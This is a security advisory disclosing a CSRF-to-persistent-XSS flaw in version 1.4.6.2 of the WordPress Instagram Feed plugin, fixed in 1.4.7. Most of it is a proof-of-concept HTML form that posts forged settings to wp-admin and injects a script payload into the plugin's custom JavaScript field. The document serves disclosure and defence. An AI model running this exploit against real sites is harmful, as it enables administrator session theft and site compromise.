WordPress Instagram Feed 1.4.6.2 Cross Site Scripting / Cross Site Request Forgery
Posted on 21 November 2016
------------------------------------------------------------------------ Persistent Cross-Site Scripting in Instagram Feed plugin via CSRF ------------------------------------------------------------------------ Sipke Mellema, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0014 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on the Instagram Feed WordPress Plugin version 1.4.6.2. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Instagram Feed WordPress Plugin version 1.4.7. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html The settings page of the Instagram Feed plugin does not perform CSRF checks. It's possible to change all settings in the plugin by making an authenticated administrator perform a request to change the settings (CSRF). It's possible to change the Instagram access token and id to show images of other users. It's also possible to inject malicious JavaScript in the Customize section, to perform Persistent Cross-Site Scripting. Any user visiting the Instagram Feed will be injected with the attackers payload after the CSRF attack. Proof of Concept Have an authenticated admin visit a webpage with the following form: <html> <body> <form action="http://<wordpress site>/wp-admin/admin.php?page=sb-instagram-feed&tab=customize" method="POST"> <input type="hidden" name="sb_instagram_settings_hidden_field" value="Y" /> <input type="hidden" name="sb_instagram_customize_hidden_field" value="Y" /> <input type="hidden" name="sb_instagram_width" value="100" /> <input type="hidden" name="sb_instagram_width_unit" value="%" /> <input type="hidden" name="sb_instagram_height" value="100" /> <input type="hidden" name="sb_instagram_height_unit" value="%" /> <input type="hidden" name="sb_instagram_background" value="#474747" /> <input type="hidden" name="sb_instagram_sort" value="none" /> <input type="hidden" name="sb_instagram_num" value="20" /> <input type="hidden" name="sb_instagram_cols" value="4" /> <input type="hidden" name="sb_instagram_image_res" value="auto" /> <input type="hidden" name="sb_instagram_image_padding" value="5" /> <input type="hidden" name="sb_instagram_image_padding_unit" value="px" /> <input type="hidden" name="sb_instagram_show_header" value="on" /> <input type="hidden" name="sb_instagram_header_color" value="" /> <input type="hidden" name="sb_instagram_show_btn" value="on" /> <input type="hidden" name="sb_instagram_btn_background" value="" /> <input type="hidden" name="sb_instagram_btn_text_color" value="" /> <input type="hidden" name="sb_instagram_btn_text" value="Load More..." /> <input type="hidden" name="sb_instagram_show_follow_btn" value="on" /> <input type="hidden" name="sb_instagram_folow_btn_background" value="" /> <input type="hidden" name="sb_instagram_follow_btn_text_color" value="" /> <input type="hidden" name="sb_instagram_follow_btn_text" value="Follow on Instagram" /> <input type="hidden" name="sb_instagram_exclude_words" value="" /> <input type="hidden" name="sb_instagram_include_words" value="" /> <input type="hidden" name="sb_instagram_hide_photos" value="" /> <input type="hidden" name="sb_instagram_block_users" value="" /> <input type="hidden" name="sb_instagram_custom_css" value="" /> <input type="hidden" name="sb_instagram_custom_js" value="} });</script><script>alert(1);</script> " /> <input type="hidden" name="submit" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> The Custom JavaScript section will now be saved with the attacker's JavaScript payload. ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
